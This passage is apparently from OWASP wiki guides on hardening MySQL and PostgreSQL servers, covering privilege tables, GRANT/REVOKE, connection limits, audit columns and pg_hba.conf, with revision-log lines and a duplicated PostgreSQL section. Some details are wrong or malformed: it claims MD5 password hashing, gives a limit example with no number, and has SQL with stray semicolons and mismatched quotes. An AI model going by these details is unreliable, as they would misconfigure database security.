Securing a database server strongly depends on what is expected from the server. One of the most important questions is the need for remote access to the service. If our database server is just needed by local services, we can achieve a very effective security enhancement by disabling TCP/IP networking of our MySQL instance. This is done by activating the <tt>skip-networking</tt> option. If passed, connections are limited to either UNIX sockets or named pipes.

The <tt>max_connections</tt> defines the maximum of concurrent connections to the server. Note that one of the given amount is always reserved for users with SUPER privileges. Related to this, <tt>max_connect_errors</tt> defines the maximum of errors which may result upon or during connection establishment per user, before he/she is being banned. Setting this value to about 10 should prevent brute-force attacks.

=== Logging ===
Turning on the <tt>log</tt> parameter, makes MySQL enable full query logging. This means, that every MySQL query (even ones with incorrect syntax) is getting logged. This is either good for debugging reasons on the one hand, and very interesting on detecting certain database attacks like SQL-injections on the other hand.

=== Transactions and ACIDness ===
<tt>transaction_isolation</tt> defines how MySQL is reacting, if <tt>SELECT</tt> statements are queried upon possibly uncommitted rows and/or tables (dirty read ). From the security perspective, it’s advisable that this value is set to <tt>REPEATABLE-READ</tt> or <tt>SERIALIZABLE</tt>, since both ensure ACID-compatiblity.

To guarantee ACID compliance, the instance of MySQL has to use a backend, supporting transactions. This is normally done via the InnoDB engine, so it’s a good idea to set <tt>default_table_type</tt> to InnoDB. The probably most important factor due to the performance of this storing engine, is the <tt>innodb_buffer_pool_size</tt>, which caches indexes and row data of InnoDB tables. On a pure high-performance database server, MySQL AB recommends to set this value up to 80% of the available physical memory. In a maximum address-space of 4GiB on a 32 bit architecture, this value may reach more than 3GiB of memory.

=== Others ===
The MySQL syntax defines a <tt>LOAD DATA</tt> statement, which provids reading files directly from the filesystem into a table. This command can be very useful for certain administration tasks, but does offer a high potential of attacks. The use of this statement can be prevented by setting <tt>load-infile</tt> to 0 in the configuration file.

== Inside MySQL: DBMS' access control and privilege management ==
=== General management table structures ===

MySQL has a built-in access control and privilege management, once more implemented as a relational model in a separate database. Even after freshly installing a database instance, MySQL automatically creates the mysql database which holds 6 tables – 5 of them play a certain role of whether a user is allowed to access database objects (table, row, column, etc) or not. Those access rules may be built upon username, connecting host or the requested database.

[[Image:Mysql_access_control.png|thumb|290px|Schematic presentation of the DMBS' internal accounting and management procedures, as executed by the MySQL database server.]]

==== <tt>user</tt> table ====

The user table is the most important one, since it (besides numerous other things) defines users, their passwords, and the hosts they are allowed to connect from, so are the first 3 columns. The host column also accepts wildcards, like % as the regular expression (.*). The password is never stored in plain text, but normally hashed via the MD5 algorithm. Note that a user/host-pair is used as primary key.

After those initial values, the user table is followed by about two dozen boolean values, giving a more granular description of the permissions granted to the user. The names, like <tt>Insert_priv</tt>, </tt>Update_priv</tt>, etc. are self-speaking. Since those rights have no restriction to certain tables or databases, they should be avoided and set to N, whereever possible, for using more restricting levels of access.

When a query is being processed, the permissions of the user table are checked at first, and the query is immediately granted if the user has sufficient permissions on this layer. The following listing completes the available columns of the user table:

mysql> use mysql;
Database changed
mysql> desc user;
+-----------------------+----------------+------+-----+
| Field | Type | Null | Key |
+-----------------------+----------------+------+-----+
| Host | char(60) | NO | PRI |
| User | char(16) | NO | PRI |
| Password | char(41) | NO | |
| Select_priv | enum('N','Y') | NO | |
| Insert_priv | enum('N','Y') | NO | |
| Update_priv | enum('N','Y') | NO | |
| Delete_priv | enum('N','Y') | NO | |
| Create_priv | enum('N','Y') | NO | |
| Drop_priv | enum('N','Y') | NO | |
| Reload_priv | enum('N','Y') | NO | |
| Shutdown_priv | enum('N','Y') | NO | |
| Process_priv | enum('N','Y') | NO | |
| File_priv | enum('N','Y') | NO | |
| Grant_priv | enum('N','Y') | NO | |
| References_priv | enum('N','Y') | NO | |
| Index_priv | enum('N','Y') | NO | |
| Alter_priv | enum('N','Y') | NO | |
| Show_db_priv | enum('N','Y') | NO | |
| Super_priv | enum('N','Y') | NO | |
| Create_tmp_table_priv | enum('N','Y') | NO | |
| Lock_tables_priv | enum('N','Y') | NO | |
| Execute_priv | enum('N','Y') | NO | |
| Repl_slave_priv | enum('N','Y') | NO | |
| Repl_client_priv | enum('N','Y') | NO | |
| Create_view_priv | enum('N','Y') | NO | |
| Show_view_priv | enum('N','Y') | NO | |
| Create_routine_priv | enum('N','Y') | NO | |
| Alter_routine_priv | enum('N','Y') | NO | |
| Create_user_priv | enum('N','Y') | NO | |
| ssl_type | enum('','ANY','X509','SPECIFIED') | NO | |
| ssl_cipher | blob | NO |
| x509_issuer | blob | NO |
| x509_subject | blob | NO |
| max_questions | int(11) unsigned | NO |
| max_updates | int(11) unsigned | NO |
| max_connections | int(11) unsigned | NO |
| max_user_connections | int(11) unsigned | NO |
+-----------------------+------------------+------+
37 rows in set (0.01 sec)

As listed, <tt>user</tt> additionally defines four columns related to cryptographic methods
like ciphers and certificates, and four columns used for user-specific limitations on
the database, we will inspect later.

==== <tt>db</tt> table ====
The <tt>db</tt> table is checked (only), if the user table doesn’t define enough permissions for a user to fully process the query. db again defines username, connecting host, and numerous privileges on a certain database, given by the column <tt>Db</tt>. This table is only processed, if
# the user doesn’t has sufficient permissions in the user table, and
# the user wants to set up a query on a database, defined in the db table.

==== <tt>host</tt> table ====
This is basically the same as the db table, but acting on actual hosts, the query may come from and may be restricted to.

==== <tt>tables_priv</tt> and <tt>columns_priv</tt> tables ====
The <tt>tables_priv</tt> table exactly defines the permissions of users on per-table-basis, who may or may not set up select, insert, update, delete, create, drop, grant, references, index and alter commands. Also the Grantor, the timestamp of the GRANT-statement and of course username, database name and hostname are stored here. This is possibly the table where
user-based restrictions should be done.

In comparison, the columns_priv table is structured like tables_priv, but holds less permissions and additionally defines a column_name column, telling us to which column the restriction/permission is refering.

=== Access management via SQL ===

All permissions and restrictions stored in the <tt>mysql</tt> database, are classically managed via SQL, mainly using GRANT and REVOKE statements. While GRANT statements usually gives a permission to a user, the corresponding REVOKE statement disallows the user to own this certain permission.

A GRANT statement consists of the permissions which are to be set, as well as the database and table it is refering to, and a user/hostname pair. For example:

GRANT SELECT, UPDATE on mysql.user TO root@localhost IDENTIFIED BY 'password'

The REVOKE command is used adequatly. For a detailed description on GRANT and REVOKE you may consider having a look on the official MySQL reference [Vas04].

There is no big difference between setting up permissions via the tables inside the <tt>mysql</tt> database using DML or typing SQL GRANT and REVOKE statements. However, while the latter version will activate the permissions immediately, privilege settings applied by direct DML, deserve reloading the values. This can be done via FLUSH PRIVILEGES.

There a several privileges only used for database administration, namely
* PROCESS, allowing the user to perform the processlist command,
* SHUTDOWN, allowing the user to shutdown the MySQL server via the shutdown command,
* SUPER, allowing the user to perform the kill command for killing certain MySQL threads,
* RELOAD, allowing the user to perform <tt>flush-hosts</tt>, <tt>flush-logs</tt>, <tt>flush-privileges</tt>, <tt>flush-status</tt>, <tt>flush-tables</tt>, <tt>flush-threads</tt>, <tt>refresh</tt> as well as <tt>reload</tt> commands. It's not recommended ever to give one of those permissions to ordinary users.

Note, that these privileges are commonly not used via SQL-statements, but through using the mysqladmin shell command. This is a security related model, since a user who intends to force privilege escalation atempts on the MySQL server, will not be able to use this commands inside the standard MySQL shell. The above rights should be reduced to an absolute minimum of users.

=== Setting up the <tt>root</tt> password ===
Outside of the MySQL-shell, the server's administrator is able to execute the program <tt>mysqladmin</tt>, which allows to set up administrative MySQL-specific tasks outside the DBMS, and partially, even when the database server doesn't actually run.

One of the main tasks you should know about <tt>mysqladmin</tt> is to set new passwords (typically the password for the root user himself):

mysqladmin -u root password <password-in-cleartext>

Note that username and passwords can have a maximum length of 16 characters each, not more. To perform this task within MySQL, the following SQL-statement would be appropriate:

UPDATE user SET password = PASSWORD('secret') WHERE user = 'root';

=== Tables and security functions ===
A very useful strategie is to (automatically) include certain security-related information in the main tables of the database model. Assume a table <tt>Customer</tt>. We will now add a few more columns to this table, providing some logging information:
CREATE TABLE Customer (
CustomerNo INTEGER AUTO_INCREMENT PRIMARY KEY,
Company VARCHAR(100),
...,
Created DATETIME,
Created_by VARCHAR(80),
Updated DATETIME;
Updated_by VARCHAR(80),
Deleted DATETIME;
Deleted_by VARCHAR(80)
);

As you may have already found out, we're about to additionally save exactly when who did what on this specific table. You may wonder why the VARCHAR() columns are 80 characters in length while usernames are restricted to a maximum of 16: That's because we'll also save the hostname from which the user is connecting from (max. 60 characters).

When changing this table, the corresponding software should now just set up a statement like:
UPDATE Customer
SET Company = 'Somename Ltd.',
Updated = SYSDATE(),
Updated_by = USER()
WHERE Company = 'Someothername Ltd.'

If we're about to delete a table, to the same for deletion. It's commonly strongly recommended not to delete anything from an existing database instance. Therefore, when a dataset should be deleted, we just set the deletion date and the user who forced to execute the deletion:
UPDATE Customer
SET Deleted = SYSDATE(),
Deleted_by = USER()
WHERE Company = 'Someothername Ltd."

=== Check table consistencies and repair databases ===
For tables of type MyISAM (non-ACID) or InnoDB (ACID compliant), MySQL provides CHECK and REPAIR statements for tables. Especially the CHECK-routine can be done in several levels of detail:

CHECK TABLE Customer [QUICK|FAST|CHANGED|MEDIUM|EXTENDED]

The options differ in several strategies.
* the QUICK-option will not do any checks on columns, but only basic table-related information
* the MEDIUM-option performs column-checks (e.g. dead links), and calculates a checksum over key-columns
* the CHANGED-option only inspects changes made on the table since the last check
* the EXTENDED-option checks and checksums all columns separately (which can take a while on bigger databases)

Note: Since MySQL 5, also VIEWs can be used with the CHECK statement.

If a table is damaged, consider trying the REPAIR statement.
REPAIR TABLE tablename

=== Setting up connection limits ===

As shown in the table description of user, there are several options MySQL offers to limit certain resources of specific users.

This includes three main clauses:
* The MAX_QUERIES_PER_HOUR clause defines a maximum set of queries which may be processed on per user and per host basis. For example, the statement GRANT SELECT on *.* TO root WITH MAX_QUERIES_PER_HOUR will limit the maximum queries available to user root to an amount of five per hour.
* MAX_UPDATES_PER_HOUR, controls the maximum amount of DML statements per hour, and
* MAX_CONNECTIONS_PER_HOUR controls the maximum of connection establishments per hour.

All of those clauses cannot be applied on per-table or per-database basis, since they have to be stated via *.*. Every mentioned limitation is internally represented by counters, corresponding to the time (per hour). Those counter may easily be reset by invoking the command FLUSH USER_RESOURCES (the user which tries to flush, will need the RELOAD privilege). This statement will not remove the defined resource limits, but reset the counters.

== Conclusion ==
There is no absolute security for applications. The offered methods and technologies mentioned in this paper, can help making the environment much more secure where the MySQL daemon is running.

We may use technologies like sandboxing and virtualization for isolating the MySQL processes from the environment, the database server is running in. This minimizes the possible negative consequences, if the daemon is getting compromised. The deployment and use of cryptographic routines for ciphering physical data and network traffic, reduces the risks of sniffing and man-in-the-middle attacks, as well as securing the whole data covered by the database if the data directory itself gets theft.

A very big disadvantage of using programming languages which explicitely make use of pointers like C or C++, is the possibility of buffer overflows and attacks using this as basis. That’s not a conceptional mistake of MySQL, but makes the spectrum of possible attacks much wider. Using certain external software for checking those leaks is highly recommended. In such a case, the database server will just be terminated - which is not a desirable consequence, but far better than having an up and running but compromised instance.

= References =
The whole article is mainly based upon the original document Hardening MySQL on Unix-like systems, Erik Sonnleitner 2007, available at [www.delta-xi.net].

* [AB05] MySQL AB. Inside mysql 5.0 - a dba’s perspective, 2005.
* [Ale06] Michael Alexander, Huehtig, Netzwerke und Netzwerksicherheit. Telekommunikation, 2006. (ISBN 3826650484).
* [Amb07] Eric Amberg. Linux-Server mit Debian. mitp, 2007. (ISBN 3826615875).
* [Bau02] Michael Bauer. Building secure servers with Linux. O’Reilly, 2002. (ISBN 0596002173).
* [BLTR06] Johannes Bauer, Albrecht Liebscher, and Klaus Thielking-Riechert. OpenVPN. Grundlagen, Konfiguration, Praxis. Dpunkt Verlag, 2006. (ISBN 3898643964).
* [Cod70] E. F. Codd. A relational model of data for large shared data banks. Communications of the ACM 13 (6), 377-387, 1970.
* [Eri03] Jon Erickson. Hacking - the art of exploitation. No starch press, 2003. (ISBN 1593270070).
* [Ert03] Wolfgang Ertel. Angewandte Kryptographie. Hanser Fachbuchverlag, 2003. (ISBN 3446223045).
* [Fos05] James Foster. Buffer overflow attacks. Syngres Media, 2005. (ISBN 1932266674).
* [Gri05] Lenz Grimmer. Mysql backup and security, 2005.
* [Kre04] Juergen Kreileder. Chrooting mysql on debian, 2004.
* [MBBS07] Keith Murphy, Peter Brawley, Dan Buettner, and Baron Schwartz. Mysql magazine, 2007. Issue 1.
* [One] Aleph One. Smashing the stack for fun and profit. Phrack magazine vol 49, File 14 of 16.
* [Pac05] Lars Packshies. Praktische Kryptographie unter Linux. Open source press, 2005. (ISBN: 3937514066).
* [PW07] Johannes Ploetner and Steffen Wendzel. Netzwerksicherheit. Galileo press, 2007. (ISBN 3898428286).
* [SBZD07] Henning Sprang, Timo Benk, Jaroslaw Zdrzalek, and Ralph Dehner. Xen. Virtualisierung unter Linux. Open source press, 2007. (ISBN 3937514295).
* [Sch05] Bruce Schneier. Angewandte Kryptographie. Algorithmen, Protokolle und Sourcecode in C. Pearson Studium, 2005. (ISBN 0471117099).
* [SR07] M. Stipcevic and B. Medved Rogina. Quantum random number generator. Rudjer Boskovic Institute, Bijenicka, Zagreb, Croata, 2007.
* [SWF05] Ellen Siever, Aaron Weber, and Stephen Figgins. Linux in a nutshell. O’Reilly, 2005. (ISBN 0596009305).
* [Vas04] Vikram Vaswani. MySQL: The complete reference. Mcgraw-Hill Professional, 2004. (ISBN 0072224770).
* [Wae03] Dietmar Waetjen. Kryptographie. Grundlagen, Algorithmen, Protokolle. Spektrum Adakemischer Verlag, 2003. (ISBN 3827414318).

OWASP Backend Security Project MySQL Hardening

2008-10-21T00:52:31Z

Carlo.pelliccioni: /* Protection against stack-smashing and other memory corruption attacks */

OWASP Backend Security Project MySQL Hardening

2008-10-21T00:51:47Z

Carlo.pelliccioni: /* Cryptographic appliances */

OWASP Backend Security Project MySQL Hardening

2008-10-21T00:50:57Z

Carlo.pelliccioni: /* Hardening the operating system environment */

OWASP Backend Security Project PostgreSQL Hardening

2008-10-21T00:48:18Z

Carlo.pelliccioni: /* References */

= Overview =

PostgreSQL is an object-relational database management system (ORDBMS). It is an enhancement of the original POSTGRES database management system, a next-generation DBMS research prototype. While PostgreSQL retains the powerful data model and rich data types of POSTGRES, it replaces the PostQuel query language with an extended subset of SQL. 

This paragraph has the objectives to define the minimum security requirements for configuring and managing PostgreSQL. 

= Description =

== Server installation and updating ==

I decided to not face the installation hardening in this little guide, there is a lot of documentation about installing and chrooting software. You can find some usefull information about the PostgreSQL configuration files here:

*http://www.postgresql.org/docs/8.3/interactive/runtime-config-connection.html
*http://www.postgresql.org/docs/8.3/interactive/runtime-config-resource.html
*http://www.postgresql.org/docs/8.3/interactive/preventing-server-spoofing.html

You can monitor the PostgreSQL security alert there: http://www.postgresql.org/support/security.html 

== pg_hba.conf - Client Authentication ==

pg_hba.conf is one of the main configuration file of PostgresSQL, it define the connection authorization. The file structure is:
<pre>TYPE - DATABASE - USER - CIDR_ADDRESS - METHOD
</pre>

{| cellspacing="1" cellpadding="1" border="1"
|-
! Argument
! Description
! Values
|-
| TYPE
| Connection type accepted by the server
|
*local: unix-domain socket
*host: TCP/IP connection with or without SSL
*hostnossl: TCP/IP connection without SSL
*hostssl: TCP/IP connection with SSL

|-
| DATABASE
| Database rule
|
*all: connection allowed to all databases.
*sameuser: connection allowed only to database with the same user
*samerole/samegroup: user must be a member of the role with the same name as the requested database
*database name: connection allowed only to database list (separated by comma)

|-
| USER
| Usernames 
|
*all: connection allowed to all users
*username: single username allowed (Multiples usernames or groups can be allowed via comma separated field)
*+groupname: username of a group allowed

|-
| CIDR-ADDRESS
| Source address 
| Source network allowed to conenct to this rules. You have two way to define this parameter, the firstone is use a CIDR notation (192.168.0.0/24), the second one is use two parameter, one for the host and the second for the netmask.
|-
| METHOD
| Authentication method 
|
*trust: Allow the connection unconditionally.
*reject: Reject the connection unconditionally.
*md5: Authentication with MD5 encrypted password.
*crypt: Authentication with crypt() encrypted password.
*password: Authentication with plain text password.
*gss: Authentication with GSSAPI.
*sspi: Authentication with SSPI.
*krb5: Authentication with Kerberos V5.
*ident: Authentication via ident protocol. 
*ldap: LDAP authentication.
*pam: PAM authentication.

|}

You have to:

*'''Disable all trust connections'''
*'''Use strong authentication (md5/kerberos etc) '''
*'''Limit connections only from allowed IP'''
*'''Use SSL connection''' 

http://www.postgresql.org/docs/8.3/interactive/auth-pg-hba-conf.html

== Users roles ==

Users and roles in PostgresSQL are the same (for example CREATE USER is only a wrapper to CREATE ROLE). While you are creating a new user you can assign different options. 
<pre>CREATE ROLE name [ [ WITH ] option [ ... ] ]
</pre>

{| width="100%" cellspacing="1" cellpadding="1" border="1" style=""
|-
| Option 
| Description 
|-
| SUPERUSER NOSUPERUSER 
| These clauses determine whether the new role is a "superuser", who can override all access restrictions within the database. Superuser status is dangerous and should be used only when really needed. You must yourself be a superuser to create a new superuser. If not specified, NOSUPERUSER is the default. 
|-
| CREATEDB NOCREATEDB 
| These clauses define a role's ability to create databases. If CREATEDB is specified, the role being defined will be allowed to create new databases. Specifying NOCREATEDB will deny a role the ability to create databases. If not specified, NOCREATEDB is the default. 
|-
| CREATEROLE NOCREATEROLE 
| These clauses determine whether a role will be permitted to create new roles (that is, execute CREATE ROLE). A role with CREATEROLE privilege can also alter and drop other roles. If not specified, NOCREATEROLE is the default. 
|-
| CREATEUSER NOCREATEUSER 
| These clauses are an obsolete, but still accepted, spelling of SUPERUSER and NOSUPERUSER. Note that they are not equivalent to CREATEROLE as one might naively expect! 
|-
| INHERIT NOINHERIT 
| These clauses determine whether a role "inherits" the privileges of roles it is a member of. A role with the INHERIT attribute can automatically use whatever database privileges have been granted to all roles it is directly or indirectly a member of. Without INHERIT, membership in another role only grants the ability to SET ROLE to that other role; the privileges of the other role are only available after having done so. If not specified, INHERIT is the default. 
|-
| LOGIN NOLOGIN 
| These clauses determine whether a role is allowed to log in; that is, whether the role can be given as the initial session authorization name during client connection. A role having the LOGIN attribute can be thought of as a user. Roles without this attribute are useful for managing database privileges, but are not users in the usual sense of the word. If not specified, NOLOGIN is the default, except when CREATE ROLE is invoked through its alternative spelling CREATE USER. 
|-
| CONNECTION LIMIT connlimit 
| If role can log in, this specifies how many concurrent connections the role can make. -1 (the default) means no limit. 
|-
| ENCRYPTED UNENCRYPTED 
| These key words control whether the password is stored encrypted in the system catalogs. (If neither is specified, the default behavior is determined by the configuration parameter password_encryption.) If the presented password string is already in MD5-encrypted format, then it is stored encrypted as-is, regardless of whether ENCRYPTED or UNENCRYPTED is specified (since the system cannot decrypt the specified encrypted password string). This allows reloading of encrypted passwords during dump/restore. 
|-
| VALID UNTIL 'timestamp' 
| The VALID UNTIL clause sets a date and time after which the role's password is no longer valid. If this clause is omitted the password will be valid for all time. 
|}

One example of create role can be:
<pre>CREATE ROLE miriam WITH LOGIN PASSWORD 'jw8s0F4' VALID UNTIL '2005-01-01';
</pre>
http://www.postgresql.org/docs/8.3/interactive/sql-createrole.html 

=== Access Privileges ===

After the creation of a role you have to grant it privileges to a specific database. A good pratice is to create two different user for each database, the first as the complete control, the second one is able only to read and modify the data. The second user will be used on the web application and similar, so if someone get access will not be able to modify the database structure, create trigger or functions. 
<pre>GRANT { { SELECT | INSERT | UPDATE | DELETE | REFERENCES | TRIGGER } [,...] | ALL [ PRIVILEGES ] } ON [ TABLE ] tablename [, ...] TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION
</pre>

{| width="100%" cellspacing="1" cellpadding="1" border="1"
|-
| Option 
| Value 
|-
| SELECT 
| Allows SELECT from any column of the specified table, view, or sequence. Also allows the use of COPY TO. This privilege is also needed to reference existing column values in UPDATE or DELETE. For sequences, this privilege also allows the use of the currval function. 
|-
| INSERT 
| Allows INSERT of a new row into the specified table. Also allows COPY FROM. 
|-
| UPDATE 
| Allows UPDATE of any column of the specified table. (In practice, any nontrivial UPDATE command will require SELECT privilege as well, since it must reference table columns to determine which rows to update, and/or to compute new values for columns.) SELECT ... FOR UPDATE and SELECT ... FOR SHARE also require this privilege, in addition to the SELECT privilege. For sequences, this privilege allows the use of the nextval and setval functions. 
|-
| DELETE 
| Allows DELETE of a row from the specified table. (In practice, any nontrivial DELETE command will require SELECT privilege as well, since it must reference table columns to determine which rows to delete.) 
|-
| REFERENCES 
| To create a foreign key constraint, it is necessary to have this privilege on both the referencing and referenced tables. 
|-
| TRIGGER 
| Allows the creation of a trigger on the specified table. (See the CREATE TRIGGER statement.) 
|-
| CREATE 
| For databases, allows new schemas to be created within the database.
For schemas, allows new objects to be created within the schema. To rename an existing object, you must own the object and have this privilege for the containing schema.

For tablespaces, allows tables, indexes, and temporary files to be created within the tablespace, and allows databases to be created that have the tablespace as their default tablespace. (Note that revoking this privilege will not alter the placement of existing objects.) 

|-
| CONNECT 
| Allows the user to connect to the specified database. This privilege is checked at connection startup (in addition to checking any restrictions imposed by pg_hba.conf). 
|-
| TEMPORARY TEMP 
| Allows temporary tables to be created while using the specified database. 
|-
| EXECUTE 
| Allows the use of the specified function and the use of any operators that are implemented on top of the function. This is the only type of privilege that is applicable to functions. (This syntax works for aggregate functions, as well.) 
|-
| USAGE 
| For procedural languages, allows the use of the specified language for the creation of functions in that language. This is the only type of privilege that is applicable to procedural languages.
For schemas, allows access to objects contained in the specified schema (assuming that the objects' own privilege requirements are also met). Essentially this allows the grantee to "look up" objects within the schema. Without this permission, it is still possible to see the object names, e.g. by querying the system tables. Also, after revoking this permission, existing backends might have statements that have previously performed this lookup, so this is not a completely secure way to prevent object access.

For sequences, this privilege allows the use of the currval and nextval functions. 

|-
| ALL PRIVILEGES 
| Grant all of the available privileges at once. The PRIVILEGES key word is optional in PostgreSQL, though it is required by strict SQL. 
|}

http://www.postgresql.org/docs/8.3/interactive/sql-grant.html 

== Removing the default "public" schema ==

By default PostgresSQL use a public schema used for store information about the databases, tables, procedures. This schema by default is accessible by all users, so all users can see every tables structure or procedures. 

=== Removing the public schema ===

Removing the public schema from all users. 
<pre>REVOKE CREATE ON SCHEMA public FROM PUBLIC;</pre>
=== Creating a new protected schema ===
<pre>CREATE SCHEMA myschema AUTHORIZATION [username];
</pre>
=== Modify search_path of the user ===
<pre>SET search_path TO myschema,public;
</pre>
In this way the database structure will be stored on a private schema and the access will be guaranteed only to the right user. 

http://www.postgresql.org/docs/8.3/interactive/ddl-schemas.html 

== Limiting file access to filesystem and system routines ==

By default PostrgreSQL deny to all users to access filesystem and system routines, only superuser are allowed to do that.

= References =

PostgreSQL documentation can be found at http://www.postgresql.org/docs/

OWASP Backend Security Project PostgreSQL Hardening

2008-10-21T00:47:23Z

Carlo.pelliccioni: /* Overview */

= Overview =

PostgreSQL is an object-relational database management system (ORDBMS). It is an enhancement of the original POSTGRES database management system, a next-generation DBMS research prototype. While PostgreSQL retains the powerful data model and rich data types of POSTGRES, it replaces the PostQuel query language with an extended subset of SQL. 

This paragraph has the objectives to define the minimum security requirements for configuring and managing PostgreSQL. 

= Description =

== Server installation and updating ==

I decided to not face the installation hardening in this little guide, there is a lot of documentation about installing and chrooting software. You can find some usefull information about the PostgreSQL configuration files here:

*http://www.postgresql.org/docs/8.3/interactive/runtime-config-connection.html
*http://www.postgresql.org/docs/8.3/interactive/runtime-config-resource.html
*http://www.postgresql.org/docs/8.3/interactive/preventing-server-spoofing.html

You can monitor the PostgreSQL security alert there: http://www.postgresql.org/support/security.html 

== pg_hba.conf - Client Authentication ==

pg_hba.conf is one of the main configuration file of PostgresSQL, it define the connection authorization. The file structure is:
<pre>TYPE - DATABASE - USER - CIDR_ADDRESS - METHOD
</pre>

{| cellspacing="1" cellpadding="1" border="1"
|-
! Argument
! Description
! Values
|-
| TYPE
| Connection type accepted by the server
|
*local: unix-domain socket
*host: TCP/IP connection with or without SSL
*hostnossl: TCP/IP connection without SSL
*hostssl: TCP/IP connection with SSL

|-
| DATABASE
| Database rule
|
*all: connection allowed to all databases.
*sameuser: connection allowed only to database with the same user
*samerole/samegroup: user must be a member of the role with the same name as the requested database
*database name: connection allowed only to database list (separated by comma)

|-
| USER
| Usernames 
|
*all: connection allowed to all users
*username: single username allowed (Multiples usernames or groups can be allowed via comma separated field)
*+groupname: username of a group allowed

|-
| CIDR-ADDRESS
| Source address 
| Source network allowed to conenct to this rules. You have two way to define this parameter, the firstone is use a CIDR notation (192.168.0.0/24), the second one is use two parameter, one for the host and the second for the netmask.
|-
| METHOD
| Authentication method 
|
*trust: Allow the connection unconditionally.
*reject: Reject the connection unconditionally.
*md5: Authentication with MD5 encrypted password.
*crypt: Authentication with crypt() encrypted password.
*password: Authentication with plain text password.
*gss: Authentication with GSSAPI.
*sspi: Authentication with SSPI.
*krb5: Authentication with Kerberos V5.
*ident: Authentication via ident protocol. 
*ldap: LDAP authentication.
*pam: PAM authentication.

|}

You have to:

*'''Disable all trust connections'''
*'''Use strong authentication (md5/kerberos etc) '''
*'''Limit connections only from allowed IP'''
*'''Use SSL connection''' 

http://www.postgresql.org/docs/8.3/interactive/auth-pg-hba-conf.html

== Users roles ==

Users and roles in PostgresSQL are the same (for example CREATE USER is only a wrapper to CREATE ROLE). While you are creating a new user you can assign different options. 
<pre>CREATE ROLE name [ [ WITH ] option [ ... ] ]
</pre>

{| width="100%" cellspacing="1" cellpadding="1" border="1" style=""
|-
| Option 
| Description 
|-
| SUPERUSER NOSUPERUSER 
| These clauses determine whether the new role is a "superuser", who can override all access restrictions within the database. Superuser status is dangerous and should be used only when really needed. You must yourself be a superuser to create a new superuser. If not specified, NOSUPERUSER is the default. 
|-
| CREATEDB NOCREATEDB 
| These clauses define a role's ability to create databases. If CREATEDB is specified, the role being defined will be allowed to create new databases. Specifying NOCREATEDB will deny a role the ability to create databases. If not specified, NOCREATEDB is the default. 
|-
| CREATEROLE NOCREATEROLE 
| These clauses determine whether a role will be permitted to create new roles (that is, execute CREATE ROLE). A role with CREATEROLE privilege can also alter and drop other roles. If not specified, NOCREATEROLE is the default. 
|-
| CREATEUSER NOCREATEUSER 
| These clauses are an obsolete, but still accepted, spelling of SUPERUSER and NOSUPERUSER. Note that they are not equivalent to CREATEROLE as one might naively expect! 
|-
| INHERIT NOINHERIT 
| These clauses determine whether a role "inherits" the privileges of roles it is a member of. A role with the INHERIT attribute can automatically use whatever database privileges have been granted to all roles it is directly or indirectly a member of. Without INHERIT, membership in another role only grants the ability to SET ROLE to that other role; the privileges of the other role are only available after having done so. If not specified, INHERIT is the default. 
|-
| LOGIN NOLOGIN 
| These clauses determine whether a role is allowed to log in; that is, whether the role can be given as the initial session authorization name during client connection. A role having the LOGIN attribute can be thought of as a user. Roles without this attribute are useful for managing database privileges, but are not users in the usual sense of the word. If not specified, NOLOGIN is the default, except when CREATE ROLE is invoked through its alternative spelling CREATE USER. 
|-
| CONNECTION LIMIT connlimit 
| If role can log in, this specifies how many concurrent connections the role can make. -1 (the default) means no limit. 
|-
| ENCRYPTED UNENCRYPTED 
| These key words control whether the password is stored encrypted in the system catalogs. (If neither is specified, the default behavior is determined by the configuration parameter password_encryption.) If the presented password string is already in MD5-encrypted format, then it is stored encrypted as-is, regardless of whether ENCRYPTED or UNENCRYPTED is specified (since the system cannot decrypt the specified encrypted password string). This allows reloading of encrypted passwords during dump/restore. 
|-
| VALID UNTIL 'timestamp' 
| The VALID UNTIL clause sets a date and time after which the role's password is no longer valid. If this clause is omitted the password will be valid for all time. 
|}

One example of create role can be:
<pre>CREATE ROLE miriam WITH LOGIN PASSWORD 'jw8s0F4' VALID UNTIL '2005-01-01';
</pre>
http://www.postgresql.org/docs/8.3/interactive/sql-createrole.html 

=== Access Privileges ===

After the creation of a role you have to grant it privileges to a specific database. A good pratice is to create two different user for each database, the first as the complete control, the second one is able only to read and modify the data. The second user will be used on the web application and similar, so if someone get access will not be able to modify the database structure, create trigger or functions. 
<pre>GRANT { { SELECT | INSERT | UPDATE | DELETE | REFERENCES | TRIGGER } [,...] | ALL [ PRIVILEGES ] } ON [ TABLE ] tablename [, ...] TO { [ GROUP ] rolename | PUBLIC } [, ...] [ WITH GRANT OPTION
</pre>

{| width="100%" cellspacing="1" cellpadding="1" border="1"
|-
| Option 
| Value 
|-
| SELECT 
| Allows SELECT from any column of the specified table, view, or sequence. Also allows the use of COPY TO. This privilege is also needed to reference existing column values in UPDATE or DELETE. For sequences, this privilege also allows the use of the currval function. 
|-
| INSERT 
| Allows INSERT of a new row into the specified table. Also allows COPY FROM. 
|-
| UPDATE 
| Allows UPDATE of any column of the specified table. (In practice, any nontrivial UPDATE command will require SELECT privilege as well, since it must reference table columns to determine which rows to update, and/or to compute new values for columns.) SELECT ... FOR UPDATE and SELECT ... FOR SHARE also require this privilege, in addition to the SELECT privilege. For sequences, this privilege allows the use of the nextval and setval functions. 
|-
| DELETE 
| Allows DELETE of a row from the specified table. (In practice, any nontrivial DELETE command will require SELECT privilege as well, since it must reference table columns to determine which rows to delete.) 
|-
| REFERENCES 
| To create a foreign key constraint, it is necessary to have this privilege on both the referencing and referenced tables. 
|-
| TRIGGER 
| Allows the creation of a trigger on the specified table. (See the CREATE TRIGGER statement.) 
|-
| CREATE 
| For databases, allows new schemas to be created within the database.
For schemas, allows new objects to be created within the schema. To rename an existing object, you must own the object and have this privilege for the containing schema.

For tablespaces, allows tables, indexes, and temporary files to be created within the tablespace, and allows databases to be created that have the tablespace as their default tablespace. (Note that revoking this privilege will not alter the placement of existing objects.) 

|-
| CONNECT 
| Allows the user to connect to the specified database. This privilege is checked at connection startup (in addition to checking any restrictions imposed by pg_hba.conf). 
|-
| TEMPORARY TEMP 
| Allows temporary tables to be created while using the specified database. 
|-
| EXECUTE 
| Allows the use of the specified function and the use of any operators that are implemented on top of the function. This is the only type of privilege that is applicable to functions. (This syntax works for aggregate functions, as well.) 
|-
| USAGE 
| For procedural languages, allows the use of the specified language for the creation of functions in that language. This is the only type of privilege that is applicable to procedural languages.
